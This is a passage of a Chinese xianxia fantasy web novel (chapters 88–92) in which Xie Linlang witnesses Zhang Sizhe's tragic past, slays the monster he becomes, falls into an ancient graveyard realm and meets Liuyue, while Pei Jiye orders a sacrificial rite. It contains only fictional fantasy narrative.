谢琳琅回答：“只要不被张思则见到就行了。” 提到张思则，两人很快听到路过的侍女聊天。 “右厢那女人快不行了吧？” “好歹也是老爷的七夫人，她的儿子也是修行者。” “只是个来逃荒的女人，故意在老爷面前落水，扒上了老爷，还侥幸生了个儿子，结果她儿子被大宗门看重，她却要死了，真是个没福的。” “行了，大夫人说也就是这一两日了，往后就会有新的七夫人，你说话注意点。” 两个侍女一边拌着嘴一边拎着水桶和盆离开了右边的院子。 谢琳琅和沈鹤对视一眼，收敛气息进入院子，沿着墙根溜到了右厢。 右厢三间窗，谢琳琅和沈鹤同时看到了第三间最靠外的位置。 张思则的灵力波动从哪里传来。 谢琳琅和沈鹤同时靠了过去，小心翼翼地透过窗户缝往里面看。 房间里光线昏暗，靠近墙角处放了一张床，床榻上有一个女人气息微弱，看上去命不久矣。 而一个与张思则长得极为相似的少年正坐在床边，紧紧握着女人的手，泣不成声。 同时还有一个成年的张思则站在房间里，怔怔地看着这一幕。 “小则，娘不行了……” “呜呜呜娘您别丢下我！” “咳咳，别打岔，让娘把话说完。” 女子的声音很轻很弱，眸光微闪，像是陷入了回忆之中，“娘以前出身中等人家，家里颇为富裕，我少时顽劣，听闻家中有一个秘宝，仗着父兄宠爱，就趁着家人不备，溜进了家里的库房，仔细翻找。” “我找到了一个圆形的球，它好像在哭。” 女子幽幽地说：“我问它，你哭什么呀，它没有回答，但我觉得它在对我说饿，我就偷偷将那个球从库房里取了出来，放在了房中，我分它饭菜，它并不吃这些，后来我的侍女帮我整理房间，无意间碰到了那个球，我的侍女……白芍直接被那个球吞噬殆尽。” “它吃了白芍。” 少年张思则明显吓坏了，已然停止了哭声，呆滞地看着垂死的母亲。 “我当时吓坏了，连忙将事情告诉了父亲，我被父亲狠狠斥责一番，又被关了禁闭，那之后我就再没见过那个球了。” 女子叹息着，“半年后周边发了大水，无数百姓逃难到娘所在的镇子上，那天晚上，镇子突然乱了，有人趁机入大户放火抢劫，哥哥被发疯的难民杀死，父亲也被砍伤，还有人想要掳走我……母亲悲痛之下，拿出了父亲藏起的球，将那一夜冲入宅子里的人全都吃了。” “那个球吃了所有人后消失了，可是三个月后，我有了身孕。” 第89章 第 89 章 福祸相依、报应不爽。…… 上古时代, 天地灵气充裕，的确经常发生有感而孕的事。 但沧海桑田世事变迁，曾经的故事已经变成了传说甚至是神话, 谁会相信一个女子冷不丁就怀孕了这种事呢？ 再加上那一晚流民冲入家中, 女子的兄长惨死, 父亲重伤, 母亲勉强支撑全家, 尚且自顾不暇, 更别说镇子的闲言碎语了。 “我刚开始想将孩子打掉。” 女子喘息着，回忆起了过去的事。 “可不管我怎么做，我跳了河，吃了砒霜, 甚至想要自尽, 全都失败了……” 她的母亲哭着求她活下来, 已经失去长子的母亲无法再承受失去女儿的痛苦，最终女子只能远离镇子, 去了附近的乡下庄子里待产。 “后来他出生了, 是个很白很可爱的孩子，但我忘不了过去发生的事，我就想等满月后将他送到镇子里的慈善堂……可很快附近山洪爆发，河水决堤, 大水淹没了乡里, 淹没了镇子……我被水流卷走，本以为会死掉, 却被你爹所救……” 她挣扎着，握住了少年张思则的手，轻声道：“你爹见我浮于水中而不死, 以为我有什么特殊之处，就带我回了张家……” 故乡被洪水淹没，家人全部没了消息，女子走投无路，只能托庇于张家，最终成了张家家主的第七位夫人。 “直到我来了张家，我才知道仙人之事，现在想来，应该是我家祖上得仙人眷顾，有了一件庇护家族的宝物，那宝物自带灵智，需求灵力，可我却愚蠢的喂了血食……” 女子苦笑起来，“将灵物染成不祥之物，我家才有此灾难，我这半生颠沛流离，全因幼年顽劣，如今那九灵宗看中了你天生亲近灵兽的天赋，想必是娘当年那番作为的缘故，你且记住，福祸相依，报应不爽，万事莫要强求，不要有太多好奇心……” 她又说了很多，大多是叮嘱儿子不要得罪人等等，渐渐的，她的气息越来越微弱，近乎呢喃，“那个孩子……比你大一些……” 少年张思则已然泪流满面，而青年张思则听到这里，想到沈鹤的年龄，发出了一声短促的笑声，透着浓烈的怨怼之情。 “什么比我大？他明明比我小！” 窗户外的沈鹤死死盯着女子，他的心很乱，贪婪而激动地看着床榻上的女子，他、他会是那个有感而孕的孩子吗？她、她是他的母亲吗？ 沈鹤几次都想冲进去，但谢琳琅牢牢压住了他。 谢琳琅用口型提醒沈鹤：“九灵宗覆灭了几十年，如果张思则曾是九灵宗弟子，那他比你大很多，你们不会是兄弟。” 此刻听到张思则自言自语，再加上谢琳琅提醒，沈鹤蓦然升起一股失落。 是啊，年龄不对。 紧接着画面骤然一白，少年张思则跪在母亲的牌位前烧纸，但下一秒就有健仆进来，说张思则不懂规矩，卑不动尊，七夫人只是个来历不明的侍妾，在家里祭祀会带来晦气，紧接着那健仆又道，张思则已然得了九灵宗看重，还是别浪费时间和机会，赶紧去报道吧，否则这名额就是别人的了。 沈鹤的脸色格外难看，虽然他跟着爷爷在外贩卖甑糕，也见过不少大族的龌龊事，但此刻还是非常生气愤怒。 倒是谢琳琅毫无情绪波动，而是细细观察少年张思则脸上扭曲、愤怒和无力的情绪，再仔细看青年张思则眼中的愤恨。 很快少年张思则离开了张家，下一幕就变成了九灵宗的山门。 山门气势恢宏，那个时候九灵宗在真界也算是仙门大宗。 张思则以及另外两个人来到山门前，得到一个外门师兄引导，进入了九灵宗内。 他们做了宗门登记，那师兄给三个人发了基础物资，比如九灵宗的基础秘法，九灵宗驯兽秘法以及九灵宗门内的基础常识。 然后那师兄带着三人来到九灵宗山门下的坊市，说了低阶弟子修行赚钱的方法，还带他们去了传送阵附近，说若是灵石充足，可以通过传送阵离开宗门，回家与父母相聚云云。 就在张思则跟着这位师兄熟悉坊市的情况，并琢磨着自己之后如何赚钱时，就听到天上炸开一道黑色落雷。 远处九灵宗所在的山峦之上，黑色火焰如活物般在湛蓝的天空下舒展开来，继而变成了一个大大的寂字。 一个全身笼罩在漆黑火焰中的人发出了凄厉的尖啸声。 “九灵宗，全都给我死！！” 巨大而恐怖的黑色光罩从天上缓缓落下，像是坠落的流星，限制住了整个九灵宗方圆千里之地。 张思则的运气还算不错，他们当时就在坊市的传送阵附近，在那限制阵法彻底落成之前，本就有修士打算传送。 也许是张思则脚软了一下，也许是他命不该绝，在传送阵开启的瞬间，他竟跌了进去。 张思则摔在传送阵上，他呆滞而恐惧地看着远方从天而降地诸多黑甲修士，看着九灵宗冲出了无数灵兽和修士，继而眼前一黑，传送阵发动了，他卡在最后一秒通过传送阵离开了九灵宗。 那之后，山下的坊市以及传送阵被双方激烈战斗波及，溢散的灵力和爆炸冲击很快掀飞了周围的一切建筑，让这里彻底化为了废墟。 沈鹤震撼地看着这一幕，尽管只是惊鸿一瞥，但依旧为寂夜宫无数修士冲锋的画面而热血沸腾。 原来寂夜宫的实力这么强啊！ 谢琳琅若有所思，怪不得这么多年过去了，张思则进度这么慢，原来他只是刚得了宗门基础功法的外门弟子。 之后画面再度变化，由于张思则临时跌入传送阵中，那传送阵的灵石不足以承受这么多人的传送，半路炸开，张思则不得不在一处小镇里养伤。 等他好不容易恢复了行动力，也根据九灵宗的秘法终于入门成了炼气修士，他再回到九灵宗所在地，那里只剩下了一个巨大的深坑，什么都没有了。 张思则呆滞许久，又根据那位师兄所言，去了九灵宗管辖的坊市，试图寻找名为云霞的坊市管理者。 只可惜等他终于抵达坊市时，那坊市竟被其他宗门吞并了，云霞修士不知所踪。 最终张思则只能回到了张家。 张家将他撵了出来，因为张家害怕寂夜宫魔修得知家里有九灵宗修士，从而杀上门。 张思则本想再给母亲上一炷香，却被告知，他母亲不在家族墓地，而是被随意扔在了镇子外的乱葬岗里。 站在荒芜且时不时露出白骨尸体的乱葬岗，张思则整个人的气质发生了巨大变化。 他发誓要让所有看不起他、欺负他、侮辱他的人付出代价，无论如何都要出人头地、要成为万人之上的大修士，要得到毁天灭地的力量，得道成仙！ 沈鹤终究年少，有一颗赤子之心，得知了张思则的过去后，顿时心生同情和怜悯。 可恨之人必有可怜之处，更何况张思则与他有血缘关系，他们…… “开始了。” 谢琳琅突然开口，同时抬手一招，湛蓝色七星剑竟然出现在他面前。 沈鹤莫名其妙，他下意识地同样招出灵剑护身：“怎么了？” 谢琳琅提醒沈鹤：“理论上来说，图腾秘法抽取了记忆后，该血脉、骨髓和力量了。” 伴随着这句话，那乱葬岗上的张思则突兀与身穿天凌宗弟子服饰的张思则融为一体。 “不！不要！不对！我要抽的是那些灵兽的力量和血脉？！不要抽我的啊！” 他死死抓着自己的胳膊，癫狂地呼喊着，“我是人族修士，我没有什么血脉！我没有力量，抽不出什么图腾之灵！” 伴随着张思则的大喊，他的身体逐渐拉长，有什么漆黑的液体从他身体渗透出来，转瞬间化为了一个四肢着地、身体巨大、有着三根骨刺的超大黑色妖灵。 沈鹤呆滞不已，下意识地问谢琳琅：“他、他……” 谢琳琅却身剑合一，已经如一道利刃冲了出去！ 咣当—— 剑锋刺入黑色妖灵，一道刺目的火光猛地亮起。 “咦？不对！” 谢琳琅掐了个法诀，北斗七星渐次在他身上流转，七颗明亮的星星组成剑阵，以迅雷不及掩耳之势轰然撞击在那妖灵身上。 “啊，我懂了，这不是图腾秘法，他是大夏釜的祭品啊！” 大夏釜吞噬着张思则的血脉和灵力，而图腾秘法又试图抽取压根不存在的力量，两种力量扭曲融合下，出现了类似图腾之灵的妖灵。 “它就是张思则！干掉他，我们才能离开这个幻境！” 谢琳琅如此说着，并没有等待沈鹤动手，而是继续攻击黑色妖灵。 沈鹤只是迟疑了几秒，黑色妖灵就已经不是谢琳琅的对手，眨眼间被北斗七星剑阵冲杀得七零八落，变成了一片片碎裂的黑色肉块。 谢琳琅就没想过让沈鹤动手，张思则毕竟是沈鹤的血亲，这种事还是让他来吧。 沈鹤呆滞地看着那些黑色的、即将融化的肉块，有些肉块甚至还是在自发蠕动着，努力发出着“我是人族修士”的声音。 恍惚间，沈鹤想到了最初那个来邀请他探索小空间的张思则。 那时张思则请他拦住守在小空间外侧的黑色妖灵，他自己冲进去拿走许修士留下的宝物。 但张思则恐怕压根没想到，兜兜转转几十年，最终他自己变成了类似黑色妖灵的怪物，惨死于大夏釜内吧。 福祸相依、报应不爽。 第90章 第 90 章 异域。 上古有九礼, 在祭祀天地神明时，各个礼仪步骤都有其内在含义。 大夏釜作为上古礼器，通体缠绕着无数代大夏王朝和后嗣祭祀天地神明后, 遗留的功德和信仰之力。 这种力量非灵非魔, 是一种玄之又玄、贯穿时空脉络, 内含因果业障的特殊力量。 在衍灵二字出现之前, 大夏釜只是被激活的一件礼器。 纵然具备强大力量, 可它最根本的功效还是以祭品释放功德以镇压地心火。 但张思则落入了这尊大夏釜内。 张思则师承九灵宗, 而九灵宗是上古大宗衍灵宗的分支传承。 衍灵宗的修行核心与九灵宗略有不同。 上古大妖和神魔肆意妄为，实力远非普通炼气士可比。 当时有人族炼气士为了得到妖族和神魔的力量，以自身神魂为献祭，祈求神魔大妖的垂怜并赐予力量。 衍灵宗, 本质含义是衍祭之灵, 为上古九礼中第二道最重要的献祭礼仪, 通过献祭自身的灵魂以恭敬地延请神灵降临。 后世的九灵宗主修改了其中的步骤，颠倒了双方位置, 将炼气士向妖族神魔祈求力量, 改成了镇压并抽取妖族血脉，炼制为自己的图腾之灵。 由此功法的主次变化，可以看出人族的地位已然跃升为最顶端，为天道之下的第一宠儿。 承袭了上古时代余辉的大夏釜, 以及颠倒了主次、将以前恭谨延请的妖神变成了如今可以随意抽取血脉神通的祭品之法, 二者横穿了时空岁月，在此碰撞了起来。 张思则死则死矣, 但他临死前使用的九灵图腾秘法，不仅将谢琳琅、沈鹤以及裴寂夜牵扯其中，还彻底激发了大夏釜潜藏的所有力量。 于是在谢琳琅斩杀张思则后, 真真是一瞬间，幻境破灭，大夏釜爆发出了恐怖的金红色能量，眼前的一切像是碎裂的玻璃，破损成了一块块晶面体。 浩瀚恢弘的力量如大江大河般冲刷着眼前的一切，谢琳琅猝不及防下，被这巨大的力量冲击出去，卷入了无形的乱流之中。 沈鹤直接被卷没影了，冲下来的裴寂夜也是如此。 但他实力比谢琳琅和沈鹤都强，尽管大夏釜在发癫，疯狂而恐怖地释放力量，无差别镇压眼前的一切生灵，试图将敢于抽取大妖血脉的卑微之徒碾压殆尽，但裴寂夜凭借着伯夏的秘法，勉强维持了身形。 黑色鸟儿一边发出尖啸，以音波荡开轰然落下的各种能量波流，一边仔细寻找着谢琳琅。 就在某个瞬间，下方乱流突兀凝固了，继而无声无息地张开了一道漆黑的裂缝。 裴寂夜大惊，心头竟隐隐有种惊悸的感觉！ 那裂缝是怎么回事？ 裴寂夜的注意力被漆黑裂缝吸引了一瞬，而就在此时，他眼角余光看到了一个微微发光的身影。 裴寂夜立刻扭头看去，不由得大喜，是谢琳琅！！ 他想也不想就俯冲而去。 谢琳琅勉力在金红色的能量波流维持着身形。 他实力不足，根本不足以在如此恐怖而强大的波流中保护自己，所以在发现不对后，立刻撕掉了两张乐清屏给的最高级别的防护符文。 哦感谢乐清屏的推销，感谢寂夜宫愿意接受贷款。 谢琳琅自然也注意到了下方的漆黑裂缝，那玩意儿一看就不是好东西，他当然不想掉进去！ 但谢琳琅能保护好自己就不错了，根本控制不了前进的方向。 就在他苦苦支撑时，头顶突然落下了一大片阴影。 那是一只巨大的玄鸟，它张开双翼，若垂天之云，正急速地向他飞来，似乎想要卷起他。 谢琳琅怔住了，少年仰头注视着巨大玄鸟，四周金红色波流如火龙般狰狞咆哮，时间仿佛在此静止。 谢琳琅不合时宜地想到了曾经的梦。 他和裴霁一起探索某个上古秘境时，裴霁失踪了，而他在搜寻途中无意识地陷入了梦境里。 梦中，也有这么一只鸟儿，载着他上天入地，俯瞰世间。 但那只是梦，梦醒了无痕。 可是眼前这只鸟儿…… 谢琳琅对上了黑色鸟儿的眼睛，那眼眸有些熟悉，是鲜红色的。 咦，难不成是寂夜宫那只杀马特前辈？原来可以变成这么大吗？ 谢琳琅脑海里转悠着这些乱七八糟的想法。 本来在如此危急时刻他不该走神的，可不知道为什么，他的身体比他的意识先一步放松下来。 就像是此地并非危险的能量波流之中，他也没有受到庞大力量冲击，这里极为安全，身边的人也非常安全一样。 金色的光从谢琳琅身上爆发开来。 一只碗口大的花朵旋转绽放，仿佛一个发光的罩子，笼罩着谢琳琅。 谢琳琅下意识地侧脸看去，这不是他曾在紫焕山秘境里，那满是鱼鳞树皮的大树深处遇到的引魂灯吗？ 下一秒，谢琳琅眼前一黑，世界仿佛被围上了幕帘，缓缓闭合了。 他的身体不受控制地疯狂下沉，头顶那金红色的波流世界与他的距离越来越远，巨大玄鸟急速冲刺，可那鸟儿的身躯依旧越来越小，继而消失不见。 谢琳琅无意识地伸出手指，似乎想要去抓住那落下的鸟儿，但最终他指尖一空，只握住了冰凉的气息。 漆黑的裂缝消失了，谢琳琅也消失了。 裴寂夜眼睁睁地看着这一幕，整只鸟气血上涌，仿佛人世间化为了血海滔天，成了憎恶而可怖的东西，他发出了凄厉尖啸声。 差一点！就差一点！！ 裴寂夜的脑袋嗡一声，什么都想不到了，连带着他的世界也变成了纯白色。 无独有偶，那爆发了恐怖能量的大夏釜也发出了愤怒轰鸣声，祭品跑了一个，简直岂有此理！ 尖啸声和轰鸣声联合起来，仿佛成了二重奏，整个山腹成了巨大的鼓，爆发出了刺耳而毁灭一切的音波攻击。 所有在九夏山范围内的修士全都不由自主地闷哼一声，继而一个个从天上掉下来。 那成周遗脉仿佛也被这股愤怒感染，发出了可怖的咆哮声。 这一刻，火山之水涛涛，所有人都被愤怒淹没，四散奔逃。 …… 谢琳琅并不知道外面发生的事。 他下落了很久，期间谢琳琅几次想要稳定身体悬浮于半空，但都失败了。 谢琳琅内心有点崩溃，他不会被摔死吧？ 筑基期的修士身体承受力够吗？他以鹤骨为转生根本，妖族应该比较耐摔吧？ 就在谢琳琅想这些乱七八糟时，突然他下落的速度变缓，谢琳琅这才注意到他头顶的引魂灯还在旋转释放着柔和的光芒。 谢琳琅心下松了口气，他定睛环视周围。 四周回荡着黑灰色的雾气，看不太远的地方，空气里弥漫着奇异的力量，不像是灵力，但也不是魔气，像是他此前在废弃之地感受到的混沌之力。 随着下落速度越来越慢，最终谢琳琅平安降落在一片黑灰色的焦土之上。 谢琳琅心下稍安，他看着自己在土地上落下了一个清晰的脚印，微微蹙眉。 这是哪里？似乎很久没有其他活物的踪迹了？ 谢琳琅试图调动体内魔气，然而不知缘故，他的魔气没什么反应，倒是天魔之力得了加持，突兀活跃起来。 轻柔细腻的天魔之力轻巧地流转着，谢琳琅掐了个法诀，确定自己还有战斗能力，又检查了一下自己随身携带的丹药和符文本子。 高阶符文只剩下五张了，丹药倒是还挺齐全的。 谢琳琅心下叹息，他总结了一下今天发生的事，只觉得满头雾水又莫名其妙。 芥子境考核内有乾坤，九夏山两代权力斗争将圣物唤醒，还有沈鹤苦苦搜寻了许久的家人，最后大夏釜莫名其妙发癫，甚至将他这个仲夏修士都甩了出来…… 谢琳琅啧了一声，真是无妄之灾！ 还有那最后扑下来的黑色鸟儿。 难不成是杀马特前辈？ 谢琳琅的心神有一瞬间的动摇，那鲜红色的眼眸里流露出的情绪过于激烈，让谢琳琅难以忘怀。 谢琳琅又赶紧摇头，他定了定神，别想这些了，先顾着自己吧。 这里是什么地方？他要怎么离开这里？ 谢琳琅吃了一枚补充力量的丹药，拿出了七星阵盘。 他并没什么占卜术法，只求一个心安和理由，七枚星子在阵盘上来回闪烁，最终谢琳琅选了第二枚星子转动的方向，抬步向前探索而去。 这片大地是灰色的，天空是灰色的，空气中时不时弥漫着漆黑的雾气，仔细听，隐隐有种凄厉的尖叫声传来。 但等谢琳琅想要仔细搜查，这凄厉尖叫又消失不见，四野无声，寂静极了。 谢琳琅也不是没有游历探索过，见此情形，也不细究，而是继续保持着前行的方向。 许是他运气好，又许是他肩头的引魂灯保护，一路行来，谢琳琅没有遇到任何危险，只是在空茫茫的灰色大地上前行着。 不知道走了多久，谢琳琅突然听到了一些打斗之声。 他有些惊讶，连忙向着声音传来的方向赶去。 翻过一个丘陵，谢琳琅看到了前方的情形。 一个修士正跌坐着，他身前有一尊白骨傀儡，正被那修士操纵着和两个同样是白骨姿态的怪物打做一团。 而当谢琳琅靠近后，另外两个白骨怪物似乎受到了吸引。 它们朝着谢琳琅的位置跑了两步，但又停下脚步，转头跑没影了。 “多谢道友相助，在这鬼地方想要见到一个人太难……咦？” 那修士得到救援后松了口气，立刻凹了一个漂亮的造型看向谢琳琅的方向。 只是话说了一半，那修士就面色古怪起来。 “原来是谢道友啊，还记得我吗？我是天魅宗的琉月。” 谢琳琅一愣，原来此人竟是曾在坊市拉着谢琳琅的手不放的天魅宗修士。 90-100 第91章 第 91 章 商君冢。 除了上次在坊市见过琉月, 那之后琉月就再没出现过了。 即便寂夜宫修士们来到九夏山、参与芥子境争夺，谢琳琅也只听沈鹤提过一句，天魅宗似乎也有修士去丹房转了一圈, 那之后他没和天魅宗有过任何牵扯。 此刻骤然在这灰色大地碰到琉月, 谢琳琅有些惊讶。 “……琉月道友。” 谢琳琅的目光在琉月身上划了一圈, 又落在了琉月操纵的白骨傀儡上。 这傀儡的制作工艺和款式怎么有点眼熟？ 琉月在见到谢琳琅后就兴奋起来, 眸光中连连闪过异彩, 见到谢琳琅看向他操纵的傀儡, 琉月大方地说：“这是我在白骨宗的好友送我的，他付不起双修的花费，以傀儡抵债。” 谢琳琅惊异地瞥了一眼琉月，缓缓道：“原来如此, 能用的上就说明傀儡还算物有所值。” 琉月闻言抿嘴笑起来, 眸光流转间自带一抹写意风流感, 仿佛整个人都是风与花做的，让人忍不住多了解一番, 甚至想要试着去抓取采撷。 “谢道友快人快语, 倒不是那等古板笨蛋。” 琉月语气越发轻柔，他收起傀儡，拢了拢发丝，敛了魅色, 严肃起来, “道友，刚才那白骨怪物实力不低, 若非我随身携带傀儡，恐怕已然被撕成碎片了，为何见到道友却退避三舍？” 谢琳琅有些奇怪：“琉月道友, 那白骨怪兽很强吗？我远远看着好像也就筑基期的水平吧？” 而这天魅宗的琉月也是筑基期，就算一打二有些难，但有傀儡相助，肯定能顺利脱身，何来被撕成碎片一说？ 琉月诧异地瞥了谢琳琅一眼，意味深长地说：“道友似乎不受影响？在这里无法用魔气，天地间也不存在灵力，我只能勉强用魅术护身……” 谢琳琅心中一惊，面上不动声色：“这是我在一处险地得到的护身法宝。” 他指了指肩膀上的引魂灯，“此灯不凡，可以护我周全，倒是没有遇到道友的情况，道友了解这里吗？” 琉月仔细看了一眼引魂灯，迟疑了几秒才道：“若是我没猜错，这里和宗门里记载的某个特殊地方极为相似。” “四野皆死，天地无音，唯余怨魂，万载不消。” 琉月环视周围，四周依旧是黑灰色的大地、黑灰色的天空以及游荡在空气中的黑色雾气，“这里恐怕是上古坟场。” 谢琳琅怔了怔，倒吸一口冷气：“上古坟场？上古朝代变迁、天道更替时产生了诸多大战，大战过于激烈，大陆都被撕碎了无数次，每次大战的胜利者会整合战场，重新将大陆粘起来，但那些细碎的战场碎片却溢散出去。” 无数溢散出去的碎片集合起来，形成了一个个时空交错、充满了骸骨、法宝碎片、憎恨之灵以及杀伐之气的坟场。 有人在坟场里找到了惊世法宝，有人在坟场里得到了无上传承，有人在坟场里看到了无数上古时代神魔魂魄，还有人在坟场里见到了上古妖魔盛世的幻影。 时间在这里是混乱的、跳跃的，一会是开天辟地的混沌，一会是龙凤横跨天空的骄矜，一会是王朝更替、诸多大能拼杀的场景，一会是众生拜倒、恭贺炼气士得到成仙的贺喜画面。 这里就仿佛是已然下了定论的历史回响，不断荡起涟漪和余音，让无数后来者得窥上古诸神话的一点点真实。 谢琳琅此前和裴霁曾去过一个类似上古坟场的秘境，但那里只是坟场的一个小小的空间碎片，即便如此，裴霁还遇到了危险，差点被困死在里面，谢琳琅寻了许久才等到裴霁。 那之后谢琳琅出门在外都要准备几张破空符，就怕出现这种被困死在特殊空间的情况。 但破空符价值不菲，乐清屏那本符文册子里并未有相关符文，谢琳琅这次没有储备，被打了个措手不及。 好在他刚从昆吾之灵那得了一点以前护身用的法宝，他修为低微，暂时无法催动极品法宝，不过上古坟场里不能用灵力和魔气，极品法宝和普通法宝没什么区别。 哦，有区别的，极品法宝的材料更好，更适合用来当肉盾。 此刻听琉月说这里是上古坟场，谢琳琅有些头疼的同时又心生疑惑。 为什么上古坟场的门会出现在九夏山内？ 就在他疑惑之际，突然想到闻净焱死前鲜血刻录的阵法，想到闻净焱用秘法唤醒大夏釜，想到伯夏的秘术…… 谢琳琅心中猛地浮现了一个猜测。 紫焕山秘境深处的那片废墟里，他卷入通道后长而看不到尽头的廊道两侧，布满了裴霁的灵剑痕迹。 如果裴霁是在九灵宗出事的，他为什么会落入那未知的廊道？ 那可是九灵宗的老巢，裴霁遭到蒙骗踏入圈套，几乎没有翻身的可能，九灵宗内不乏比裴霁实力强的化神、渡劫修士，又怎么可能压制不了一个元婴修士？ 除非当时裴霁如闻净焱一样，生死之际用了伯夏的秘法，打开了上古坟场的大门，躲在了这里！！ 想到这里，谢琳琅的脸颊突兀涨红，裴霁曾经来过这里！！ 但几个呼吸后，谢琳琅就恢复了冷静。 冷静，他已然进入了上古坟场，那必然要找到裴霁的踪迹。 琉月完全没想到谢琳琅在短时间内想到了这么多，在琉月看来，谢琳琅只是略微惊讶了一番，脸色有些变化，继而就冷静下来。 “原来如此，多谢琉月道友告知。” 谢琳琅环视周围，他快速回忆以往在书籍上看到的关于上古坟场的情报。 “上古坟场虽然隐蔽，但还是有人脱离坟场、回归大陆，听闻上古坟场最常出现的是妖魔之地，其次是……” “商君冢。” 琉月跟着回答，他嫣然一笑，“我曾有幸去过一次商君冢，大概知道在哪个位置、哪个时间段最容易进去。” 谢琳琅怔了怔，有些诧异：“商君冢？恕我孤陋寡闻，未曾听过这里，我看的记载上写的是九鼎河道。” 琉月莞尔：“九鼎河道是与如今大陆时空最近的坟场，若是寻到合适的契机，的确可以通过鼎的位置来判断真界空间，但事有不巧。” 他脸色有些难看，“九夏山地心之火爆发，火山之水涛涛，神微真人遭歹人夺舍，那歹人自称成周遗脉，化为巨人之躯，试图逆天改命……” 谢琳琅惊愕不已：“什么？成周遗脉？那是怎么回事？我在芥子境内参与考核，出来就在山腹里了，还没找到出路就被卷入了上古坟场的门里……” 原来他不仅在山腹里遭到了一大堆乱七八糟的事，外面也不安稳啊！ “不是说各门派前辈都在外面看着芥子境争夺吗？说起来我陷入上古坟场前，还曾见到宫主出现，似乎是在寻找宫内弟子……” 还别说，谢琳琅此刻细细想来，那寂夜宫的宫主还怪好咧，记得窜进来寻找宗门低阶弟子，是个不错的宫主。 琉月的表情在一瞬间有些扭曲，下一秒就恢复了。 他叹了口气，用有些忧愁和怅惘的神色道：“是啊，贵宫主的确是个好人，可惜他早已心有所属，视我们天魅宗修士为仇雠，上次还把我们宗门的如月前辈狠狠揍了一顿，毁掉了如月前辈一尊法身呢。” 谢琳琅不软不硬地说：“道友法力高超，可以换来白骨傀儡，想那如月尊者法力低微，才被宫主毁掉了法身吧。” 琉月：“……” 啧，裴霁这小情人竟也不是善茬儿，是他失策了。 这琉月自然是如月尊者新炼制的法身，姑且还是叫他琉月吧。 “总之，外面有那成周遗脉的巨人肆虐九夏山，若是我们再通过成周的九鼎河道回归大陆，恐怕会正好落在他面前。” 琉月叹了口气，无奈地说：“我等只是筑基修士，若是卷到高阶修士争斗中，和死无异。” 他自己这尊法身碎了倒没什么，若是裴霁知道他连累谢琳琅再死一次，天啊，那不用等什么南冥之海烈烈了，裴霁恐怕会和那成周遗脉一起毁掉整个大陆。 谢琳琅没见过成周遗脉，但他亲眼看到神微真人被红师姐一巴掌拍死，前后倒也能和琉月的话对上。 他只能问：“不知这商君冢是何地？” “九夏山为大夏遗泽，成周遗脉化身巨人，想必谢道友也该知道成周王朝吧？” “知道，自成周开始，我人族修士才成为天道宠儿，从此人族再不复曾经惨遭诸族奴役的局面。” “但在大夏和成周之间，尚且还有一个王朝，为玄商。” 琉月细细讲来，“玄商持续时间并不长，却承前启后，上接大妖神魔共存的大夏，下启诗礼传家的成周。” 谢琳琅微微蹙眉：“可我此前从未听过玄商。” “因为成周覆灭玄商后，立下了界门，截留并划分天地灵力，通过改变天地之力分布，先是覆盖、然后模糊，继而吞噬掉了那段时间。” 琉月说到这一点时，神色有些冷漠，“那段时间被挤压、扭曲，从而隐藏了起来，关于玄商的所有文书记载也会触动界门之力，从而被时空扭曲吞噬。界门的每一次加固，都是对上古王朝地模糊和舍弃。” “但上古坟场内位于时空缝隙，不受界门控制，是以这里留了很多玄商时代的遗迹。据说最后一位商君就陨落在坟场内，于是那片区域被称为商君冢。” 琉月振奋道：“若是从大陆进入玄商遗迹，必须通过一些技巧和牵引秘术，破除了界门设置的秘法，才能进入商君冢，但我们就在坟场内，倒是比较简单了。” 他嫣然一笑，“谢道友要一起来吗？” 谢琳琅沉默了几秒，微笑道：“敢不从命？” 第92章 第 92 章 正是裴霁。 寂夜宫深处的静室, 门外两个黑甲修士护卫。 林郁快步穿过长长的廊道，来到大门前，他无视黑甲护卫, 一脚踹开了大门。 房间内依旧是空荡荡的, 中间放着一个巨大的赤红树枝宝座, 宝座上放着明亮闪烁的宝石以及金银珠宝, 上面铺着厚厚的兽毛毯子, 然而本该在上面沉睡的人却消失不见了。 取而代之的是一只杀马特的、看起来非常可笑的鸟儿。 林郁倒吸一口冷气, 他不可思议地说：“怎么又变成这样了？你不是已经恢复过来了吗？你……” 杀马特鸟儿缓缓挪动脑袋，他那头长短不一的炸毛看起来非常可笑，但鲜红色的眼睛里除了空茫茫的杀意和愤怒外，再无一丝情绪。 林郁一下子闭嘴了。 半晌, 杀马特鸟儿才缓缓开口：“你来的正好, 将地牢深处那几个老不死地拉出来, 准备祭祀仪式。” 林郁怔了怔，面色难看起来：“现在？可、可你又一次回归幼体, 你……” “玄命派已经算出了这次寂夜长吟要出事, 那就提前吧。” 裴寂夜的情绪出乎意料的平静，有种不在乎一切、彻底摆烂的畅快感。 “举行九命祭祀，将时间提前，反正有些天赋的弟子还留在真界, 剩下的都是债务难消的冤种。” “将上古坟场拉到南海, 二者重叠的那一刻，打开真界和魔域间的大门, 如果真界要关门，那就将寂夜宫和九灵宗间那条时空廊道彻底固定下来。” 杀马特鸟儿闭上眼，整只鸟身上缓缓浮现细密的灰色符文。 “越快越好。” 林郁欲言又止, 他先说了一声好，迟疑几秒又道：“九夏山那边出什么事了？为什么你会再度蜕化？如果真要提前开启寂夜长吟，你作为二者叠加的承载体，若是无法支撑两边的侵蚀，你……” 裴寂夜：“一切有商君在，不需要你操心。” 林郁得了这句话，只能转身离开，按照裴寂夜的吩咐去办。 静室重新恢复了安静，杀马特的鸟儿瘫软在赤红色树枝宝座上，半晌，裴寂夜才低低地说：“为什么？为什么你当时拦下了我？” 他那双鲜红的眼睛嗡的一声变成了纯粹的金色。 一个沧桑沉重的声音响起。 “那你当年又是为什么要将引魂灯扔出去呢？” 裴寂夜默然不语。 “我们都看到了，引魂灯在那孩子身上，在谢琳琅身上。” 仿佛上古时代残余回响的声音幽幽道：“他可以引导那些孩子回家。” “可是培风那老不死的还在上古坟场。” “我想他肯定很高兴能亲手干掉培风。” 裴寂夜略带嘲讽地说：“商君，有机会干掉成周的后人，你很高兴对不对？” 那个声音透着一点点笑意：“是啊，他合该死在我手里，玄商因成周而亡，他可以报复，我自然也可以报复，天道向来讲究公平，福祸相依、报应不爽。” 裴寂夜又一次沉默了。 在谢琳琅跌入上古坟场的缝隙后，他大脑一片空白，什么都不知道了，一切都交给了身体本能。 等他醒来时，才发现整个九夏山被人横截劈断，成周遗脉消失了，只剩下破破烂烂的神微的尸体。 裴寂夜体内力量几乎彻底耗空，再也无法身体稳定状态，从脚开始，火焰无声自燃着，再醒来，裴寂夜就已经回到了寂夜宫。 